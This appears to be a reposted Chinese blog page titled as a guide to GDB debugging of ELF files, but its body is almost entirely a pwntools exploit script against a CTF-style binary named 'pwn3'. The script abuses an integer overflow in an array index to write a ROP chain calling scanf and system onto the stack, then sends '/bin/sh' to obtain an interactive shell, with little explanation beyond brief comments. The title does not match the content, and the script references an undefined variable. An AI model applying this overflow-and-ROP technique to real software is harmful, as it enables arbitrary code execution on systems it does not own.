GDB分析ELF檔案常用的除錯技巧
阿新 • • 發佈:2019-02-08
1 from pwn import * 2 3 #r = remote(‘127.0.0.1‘, 9527) 4 r = process(‘./pwn3‘) 5 r.recvuntil(‘name \n‘) 6 r.sendline(‘123‘) 7 #raw_input(‘debug‘ 8 ##構造結構可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。 9 ? 10 #下面開始構造 11 r.recvuntil(‘index\n‘) 12 #-2147483648 -->0x80000000 *4後溢位為0 13 context.terminal = [‘gnome-terminal‘,‘-x‘,‘sh‘,‘-c‘] 14 gdb.attach(proc.pidof(p)[0]) 15 r.sendline(str(-2147483648 + 14)) #ebp+4的地址處 就是Return函式的地址 現在是一處地址一處值 1 16 r.recvuntil(‘value\n‘) 17 r.sendline(str(int(‘8048470‘, 16))) #jmp scanf 18 r.recvuntil(‘index\n‘) 19 r.sendline(str(-2147483648 + 15)) #ebp+8 20 r.recvuntil(‘value\n‘) 21 r.sendline(str(int(‘0x080487de‘, 16))) # pop edi 22 r.recvuntil(‘index\n‘) 23 r.sendline(str(-2147483648 + 16)) 24 r.recvuntil(‘value\n‘) 25 r.sendline(str(int(‘804884b‘,16))) #0804884B a9s db ‘%9s‘,0 26 r.recvuntil(‘index\n‘) 27 r.sendline(str(-2147483648 + 17)) 28 r.recvuntil(‘value\n‘) 29 r.sendline(str(int(‘804a030‘, 16))) #0804A030 __data_star 804a030 是GOT表的結尾 30 r.recvuntil(‘index\n‘) 31 r.sendline(str(-2147483648 + 18)) 32 r.recvuntil(‘value\n‘) 33 r.sendline(str(int(‘8048420‘, 16))) #system #jmp to system 34 r.recvuntil(‘index\n‘) 35 r.sendline(str(-2147483648 + 19)) 36 r.recvuntil(‘value\n‘) 37 r.sendline(str(int(‘804a030‘, 16))) #0804A030 __data_start db 0 38 r.recvuntil(‘index\n‘) 39 r.sendline(str(-2147483648 + 20)) 40 r.recvuntil(‘value\n‘) 41 r.sendline(str(int(‘804a030‘, 16))) #0804A030 __data_start db 0 42 r.recvuntil(‘index\n‘) 43 r.sendline(str(-2147483648 + 21)) 44 r.recvuntil(‘value\n‘) 45 r.sendline(str(int(‘8048420‘, 16))) ##system #jmp to system 46 r.recvuntil(‘index\n‘) 47 r.sendline(str(-2147483648 + 22)) 48 r.recvuntil(‘value\n‘) 49 r.sendline(str(int(‘8048420‘, 16))) ##system #jmp to system 50 r.recvuntil(‘index\n‘) #相當與讓程式碼結束 執行ret從而執行到我們的流程 51 r.sendline(‘-1‘) 52 r.recvuntil(‘value\n‘) 53 r.sendline(‘10‘) 54 r.recvuntil(‘0 0 0 0 0 0 0 0 0 0 ‘) 55 r.sendline(‘/bin/sh‘) 56 r.interactive()